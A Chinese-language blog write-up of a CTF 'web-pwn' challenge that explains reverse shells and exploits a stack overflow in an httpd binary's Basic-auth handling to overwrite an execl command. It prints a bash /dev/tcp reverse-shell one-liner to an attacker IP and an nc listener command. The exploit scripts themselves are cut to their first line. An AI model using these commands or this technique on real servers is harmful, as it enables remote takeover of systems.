web-pwn之httpd
- 终于把学长出的httpd的pwn给打出来了,也算是浅浅入门了一下web-pwn了
- httpd的pwn其实和pwn没啥区别,但是多了一步web。
- 在
getshell
后,可以执行命令,但是执行命令的结果不会发送过来,这个时候就要进行反弹shell
- 反弹shell就是利用能执行命令,然后将控制权交给攻击者的服务器,这时执行命令的时候就可以看到相应的结果。
- 在
- httpd的pwn知识web-pwn的一种,web-pwn还有
php-pwn
前置知识
- 需要一定的pwn基础
- 需要一定的Linux网络编程基础(没有的话也没关系,多牢牢也就会看明白代码)
- 需要懂一点http协议
- 反弹shell命令(网上搜索都有现成的)
反弹shell
- 什么是反弹shell,一般pwn都是我们攻击者去连接目标主机,而反弹shell是目标主机主动去连接攻击者的主机,并将执行权限给攻击者
- 反弹shell的前提:需要一个具有公网ip的服务器(IPv4)
- 在一般的情况下,pwn了目标主机,直接就
getshell
了,这时我们就可以直接cat flag
目标主机就会将flag的内容发送给我们,但是在需要反弹shell的情况,当我们getshell之后,我们可以对目标主机执行命令,但是接收不到目标执行完命令后的内容。这就导致我们无法得到flag的内容,这时就是要反弹shell - 反弹shell有几个办法
反弹shell1
- 需要一个具有公网ip的服务器,假设其ip为
1.1.1.1
。 - 我们先指定开放该服务器的端口
2333
,输入指令为nc -lvp 2333
或nc -n -lvp 2333
- 然后我们getshell了目标靶机,这时我们就执行命令
bash -i >& /dev/tcp/1.1.1.1/2333 0>&1
- 这样目标靶机就连接上了我们的服务器,并且在我们服务器这边具有执行目标靶机目录的权限,也可以看到执行后的结果,这时我们就可以得到flag

题目
httpd_level_1
- 题目来源:[GHCTF 2024 新生赛]Fruit Ninja | NSSCTF
- 题目附件:https://wwsq.lanzoue.com/inbAS2atudaf 密码:ffor
- 拿到附件先看看附件内容,发现文件
httpd
是一个二进制文件 - 然后
www
目录下的是web页面相关的前后端
- 查看一下保护,发现保护全开
分析1
- 使用IDA反编译一下该程序,这里先理清一下程序逻辑
1 | 程序先从main函数开始 |

- 进入到
accept_request
函数进行分析,都是http请求协议的处理- 该协议会先处理
GET、POST
参数,参数正确则会将一下web页面等从服务器发送到客户端中 - 这里还会处理一些其他传入的参数,如果传入不是
GET
、POST
参数,就会发送错误答复,比如HTTP/1.0 404 NOT FOUND
- 该协议会先处理
1 | 404 NOT FOUND\r\n |

- 在
accept_request
函数中满足条件还会调用一个函数execute_cgi
函数,这是本题的一个重要函数,其他的就不分析了。- http请求头协议处理完之后就会接着处理协议下一行的内容
- 处理完,如果请求头无误,那么程序就会发送
http
协议回复客户端
1 | 200 OK\r\n |


分析2
- 分析1分析的是httpd这个程序中服务器与客户端的交互逻辑,现在进行漏洞的寻找
- 先找到这个函数,这个
execl
函数是execve
函数的更高一级的封装,所以可以执行命令,我们就有机会getshell
- 然后我们往回看,查看程序逻辑,程序如何才能走到这个函数,发现要么满足
POST
参数,要么满足GET
参数。可满足GET参数后,直接运行到execl(dest, dest, 0LL);
我们并不能修改命令。

- 但是满足
POST
参数后再满足后续协议,这边就会存在一个缓冲区的溢出- 先要满足
Authorization: Basic
协议,然后再对v21的内容进行base64解码,将结果存储在v18
- 程序先会检查
v18
这个字符串是否等于pwner
- 接下来查看栈发现
v18
在栈位置-0000000000000B10 var_B10 db ?
dest
在栈位置-0000000000000A10 dest db ?
v18
和dest
的位置相差0x100
小于v21
能存储的字符串长度,这样就可以发生溢出- 这样可以修改
dest
的值,进而getshell
- 先要满足
利用
- 这时我们就可以构造payload,而程序对
v18
检查是否为pwner
可以使用\x00
来进行截断 - 这时我们就构造这个payload协议为,这里注意好像是要请求
/rule.cgi
文件才会执行execute_cgi(a1, s, s1, j);
1 | POST /rule.cgi |
- exp:
- 注意:
- 在写exp的时候每一行http请求协议的结束都要加上
\r\n
,要不然靶机接收的会有问题,具体原因是socket
那边 - 还有就是在getshell后,不要在终端输入反弹shell的命令,这样终端会一个字节一个字节的发送,会出现命令执行不了的情况
- 最好使用
pwntools
的send,发送命令执行的函数,这样就可以一次性发送内容,这可能也和发送包有关 - 这里执行命令,就是执行反弹shell的命令
- 在写exp的时候每一行http请求协议的结束都要加上
1 | from pwn import * |
- 下面这个exp是一位学长写的,可能我对http包还不太熟悉,所以payload可能还有点问题
1 | from pwn import * |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 iyheart的博客!